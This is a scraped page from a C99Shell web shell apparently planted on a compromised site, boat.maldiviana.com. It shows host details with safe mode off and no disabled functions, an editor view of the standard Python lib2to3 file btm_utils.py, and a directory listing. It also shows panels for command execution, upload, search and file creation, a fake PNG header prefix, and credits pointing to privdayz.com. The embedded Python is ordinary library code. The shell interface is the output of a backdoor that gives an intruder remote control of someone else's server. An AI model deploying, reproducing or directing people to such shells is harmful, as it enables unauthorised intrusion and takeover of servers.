boat.maldiviana.com

\x89\x50\x4E\x47\x0D\x0A\x1A\x0A PNG \x89\x50\x4E\x47\x0D\x0A\x1A\x0A boat.maldiviana.com - C99Shell

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux boa1684427.nichost.ru 6.6.137-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 13:19:28 MSK 2026 x86_64 User: boa1684427 Software: Apache/2.4.67 (Linux) PHP/7.4.33 IP: 127.0.0.1 PHP: 7.4.33 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF /usr/lib64/python2.7/lib2to3/

! C99Shell v2025 !

Safe-mode: OFF (not secure)

Disable Functions: None

Host: Linux boa1684427.nichost.ru 6.6.137-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 13:19:28 MSK 2026 x86_64

User: boa1684427

Software: Apache/2.4.67 (Linux) PHP/7.4.33

IP: 127.0.0.1

PHP: 7.4.33

CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF

/usr/lib64/python2.7/lib2to3/

Edit File: btm_utils.py

"Utility functions used by the btm_matcher module"

from . import pytree
from .pgen2 import grammar, token
from .pygram import pattern_symbols, python_symbols

syms = pattern_symbols
pysyms = python_symbols
tokens = grammar.opmap
token_labels = token

TYPE_ANY = -1
TYPE_ALTERNATIVES = -2
TYPE_GROUP = -3

class MinNode(object):
    """This class serves as an intermediate representation of the
    pattern tree during the conversion to sets of leaf-to-root
    subpatterns"""

def __init__(self, type=None, name=None):
        self.type = type
        self.name = name
        self.children = []
        self.leaf = False
        self.parent = None
        self.alternatives = []
        self.group = []

def __repr__(self):
        return str(self.type) + ' ' + str(self.name)

def leaf_to_root(self):
        """Internal method. Returns a characteristic path of the
        pattern tree. This method must be run for all leaves until the
        linear subpatterns are merged into a single"""
        node = self
        subp = []
        while node:
            if node.type == TYPE_ALTERNATIVES:
                node.alternatives.append(subp)
                if len(node.alternatives) == len(node.children):
                    #last alternative
                    subp = [tuple(node.alternatives)]
                    node.alternatives = []
                    node = node.parent
                    continue
                else:
                    node = node.parent
                    subp = None
                    break

if node.type == TYPE_GROUP:
                node.group.append(subp)
                #probably should check the number of leaves
                if len(node.group) == len(node.children):
                    subp = get_characteristic_subpattern(node.group)
                    node.group = []
                    node = node.parent
                    continue
                else:
                    node = node.parent
                    subp = None
                    break

if node.type == token_labels.NAME and node.name:
                #in case of type=name, use the name instead
                subp.append(node.name)
            else:
                subp.append(node.type)

node = node.parent
        return subp

def get_linear_subpattern(self):
        """Drives the leaf_to_root method. The reason that
        leaf_to_root must be run multiple times is because we need to
        reject 'group' matches; for example the alternative form
        (a | b c) creates a group [b c] that needs to be matched. Since
        matching multiple linear patterns overcomes the automaton's
        capabilities, leaf_to_root merges each group into a single
        choice based on 'characteristic'ity,

i.e. (a|b c) -> (a|b) if b more characteristic than c

Returns: The most 'characteristic'(as defined by
          get_characteristic_subpattern) path for the compiled pattern
          tree.
        """

for l in self.leaves():
            subp = l.leaf_to_root()
            if subp:
                return subp

def leaves(self):
        "Generator that returns the leaves of the tree"
        for child in self.children:
            for x in child.leaves():
                yield x
        if not self.children:
            yield self

def reduce_tree(node, parent=None):
    """
    Internal function. Reduces a compiled pattern tree to an
    intermediate representation suitable for feeding the
    automaton. This also trims off any optional pattern elements(like
    [a], a*).
    """

new_node = None
    #switch on the node type
    if node.type == syms.Matcher:
        #skip
        node = node.children[0]

if node.type == syms.Alternatives  :
        #2 cases
        if len(node.children) <= 2:
            #just a single 'Alternative', skip this node
            new_node = reduce_tree(node.children[0], parent)
        else:
            #real alternatives
            new_node = MinNode(type=TYPE_ALTERNATIVES)
            #skip odd children('|' tokens)
            for child in node.children:
                if node.children.index(child)%2:
                    continue
                reduced = reduce_tree(child, new_node)
                if reduced is not None:
                    new_node.children.append(reduced)
    elif node.type == syms.Alternative:
        if len(node.children) > 1:

new_node = MinNode(type=TYPE_GROUP)
            for child in node.children:
                reduced = reduce_tree(child, new_node)
                if reduced:
                    new_node.children.append(reduced)
            if not new_node.children:
                # delete the group if all of the children were reduced to None
                new_node = None

else:
            new_node = reduce_tree(node.children[0], parent)

elif node.type == syms.Unit:
        if (isinstance(node.children[0], pytree.Leaf) and
            node.children[0].value == '('):
            #skip parentheses
            return reduce_tree(node.children[1], parent)
        if ((isinstance(node.children[0], pytree.Leaf) and
               node.children[0].value == '[')
               or
               (len(node.children)>1 and
               hasattr(node.children[1], "value") and
               node.children[1].value == '[')):
            #skip whole unit if its optional
            return None

leaf = True
        details_node = None
        alternatives_node = None
        has_repeater = False
        repeater_node = None
        has_variable_name = False

for child in node.children:
            if child.type == syms.Details:
                leaf = False
                details_node = child
            elif child.type == syms.Repeater:
                has_repeater = True
                repeater_node = child
            elif child.type == syms.Alternatives:
                alternatives_node = child
            if hasattr(child, 'value') and child.value == '=': # variable name
                has_variable_name = True

#skip variable name
        if has_variable_name:
            #skip variable name, '='
            name_leaf = node.children[2]
            if hasattr(name_leaf, 'value') and name_leaf.value == '(':
                # skip parenthesis
                name_leaf = node.children[3]
        else:
            name_leaf = node.children[0]

#set node type
        if name_leaf.type == token_labels.NAME:
            #(python) non-name or wildcard
            if name_leaf.value == 'any':
                new_node = MinNode(type=TYPE_ANY)
            else:
                if hasattr(token_labels, name_leaf.value):
                    new_node = MinNode(type=getattr(token_labels, name_leaf.value))
                else:
                    new_node = MinNode(type=getattr(pysyms, name_leaf.value))

elif name_leaf.type == token_labels.STRING:
            #(python) name or character; remove the apostrophes from
            #the string value
            name = name_leaf.value.strip("'")
            if name in tokens:
                new_node = MinNode(type=tokens[name])
            else:
                new_node = MinNode(type=token_labels.NAME, name=name)
        elif name_leaf.type == syms.Alternatives:
            new_node = reduce_tree(alternatives_node, parent)

#handle repeaters
        if has_repeater:
            if repeater_node.children[0].value == '*':
                #reduce to None
                new_node = None
            elif repeater_node.children[0].value == '+':
                #reduce to a single occurrence i.e. do nothing
                pass
            else:
                #TODO: handle {min, max} repeaters
                raise NotImplementedError
                pass

#add children
        if details_node and new_node is not None:
            for child in details_node.children[1:-1]:
                #skip '<', '>' markers
                reduced = reduce_tree(child, new_node)
                if reduced is not None:
                    new_node.children.append(reduced)
    if new_node:
        new_node.parent = parent
    return new_node

def get_characteristic_subpattern(subpatterns):
    """Picks the most characteristic from a list of linear patterns
    Current order used is:
    names > common_names > common_chars
    """
    if not isinstance(subpatterns, list):
        return subpatterns
    if len(subpatterns)==1:
        return subpatterns[0]

# first pick out the ones containing variable names
    subpatterns_with_names = []
    subpatterns_with_common_names = []
    common_names = ['in', 'for', 'if' , 'not', 'None']
    subpatterns_with_common_chars = []
    common_chars = "[]().,:"
    for subpattern in subpatterns:
        if any(rec_test(subpattern, lambda x: type(x) is str)):
            if any(rec_test(subpattern,
                            lambda x: isinstance(x, str) and x in common_chars)):
                subpatterns_with_common_chars.append(subpattern)
            elif any(rec_test(subpattern,
                              lambda x: isinstance(x, str) and x in common_names)):
                subpatterns_with_common_names.append(subpattern)

else:
                subpatterns_with_names.append(subpattern)

if subpatterns_with_names:
        subpatterns = subpatterns_with_names
    elif subpatterns_with_common_names:
        subpatterns = subpatterns_with_common_names
    elif subpatterns_with_common_chars:
        subpatterns = subpatterns_with_common_chars
    # of the remaining subpatterns pick out the longest one
    return max(subpatterns, key=len)

def rec_test(sequence, test_func):
    """Tests test_func on all items of sequence and items of included
    sub-iterables"""
    for x in sequence:
        if isinstance(x, (list, tuple)):
            for y in rec_test(x, test_func):
                yield y
        else:
            yield test_func(x)

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
Grammar.txt	6.93 KB	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
Grammar2.7.18.final.0.pickle	39.54 KB	01.12.2023 15:56:05	65534/65534	-rw-r--r--	Edit Rename Download
PatternGrammar.txt	793 B	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
PatternGrammar2.7.18.final.0.pickle	2.73 KB	01.12.2023 15:56:05	65534/65534	-rw-r--r--	Edit Rename Download
__init__.py	7 B	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
__init__.pyc	127 B	01.12.2023 15:56:10	65534/65534	-rw-r--r--	Edit Rename Download
__init__.pyo	127 B	01.12.2023 15:56:10	65534/65534	-rw-r--r--	Edit Rename Download
__main__.py	67 B	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
__main__.pyc	242 B	01.12.2023 15:56:09	65534/65534	-rw-r--r--	Edit Rename Download
__main__.pyo	242 B	01.12.2023 15:56:09	65534/65534	-rw-r--r--	Edit Rename Download
btm_matcher.py	6.67 KB	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
btm_matcher.pyc	5.69 KB	01.12.2023 15:56:10	65534/65534	-rw-r--r--	Edit Rename Download
btm_matcher.pyo	5.69 KB	01.12.2023 15:56:10	65534/65534	-rw-r--r--	Edit Rename Download
btm_utils.py	9.78 KB	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
btm_utils.pyc	7.39 KB	01.12.2023 15:56:09	65534/65534	-rw-r--r--	Edit Rename Download
btm_utils.pyo	7.39 KB	01.12.2023 15:56:09	65534/65534	-rw-r--r--	Edit Rename Download
fixer_base.py	6.62 KB	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
fixer_base.pyc	7.02 KB	01.12.2023 15:56:10	65534/65534	-rw-r--r--	Edit Rename Download
fixer_base.pyo	7.02 KB	01.12.2023 15:56:10	65534/65534	-rw-r--r--	Edit Rename Download
fixer_util.py	14.25 KB	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
fixer_util.pyc	14.34 KB	01.12.2023 15:56:10	65534/65534	-rw-r--r--	Edit Rename Download
fixer_util.pyo	14.34 KB	01.12.2023 15:56:10	65534/65534	-rw-r--r--	Edit Rename Download
fixes	DIR	13.05.2026 21:33:29	65534/65534	drwxr-xr-x	Edit Rename
main.py	11.33 KB	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
main.pyc	9.6 KB	01.12.2023 15:56:09	65534/65534	-rw-r--r--	Edit Rename Download
main.pyo	9.56 KB	01.12.2023 15:56:07	65534/65534	-rw-r--r--	Edit Rename Download
patcomp.py	6.9 KB	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
patcomp.pyc	6.45 KB	01.12.2023 15:56:10	65534/65534	-rw-r--r--	Edit Rename Download
patcomp.pyo	6.14 KB	01.12.2023 15:56:07	65534/65534	-rw-r--r--	Edit Rename Download
pgen2	DIR	13.05.2026 21:33:29	65534/65534	drwxr-xr-x	Edit Rename
pygram.py	1.13 KB	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
pygram.pyc	1.41 KB	01.12.2023 15:56:09	65534/65534	-rw-r--r--	Edit Rename Download
pygram.pyo	1.41 KB	01.12.2023 15:56:09	65534/65534	-rw-r--r--	Edit Rename Download
pytree.py	28.36 KB	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
pytree.pyc	29.59 KB	01.12.2023 15:56:10	65534/65534	-rw-r--r--	Edit Rename Download
pytree.pyo	28.73 KB	01.12.2023 15:56:07	65534/65534	-rw-r--r--	Edit Rename Download
refactor.py	27.37 KB	01.12.2023 15:56:00	65534/65534	-rw-r--r--	Edit Rename Download
refactor.pyc	23.35 KB	01.12.2023 15:56:10	65534/65534	-rw-r--r--	Edit Rename Download
refactor.pyo	23.31 KB	01.12.2023 15:56:07	65534/65534	-rw-r--r--	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1781171679.351 ]--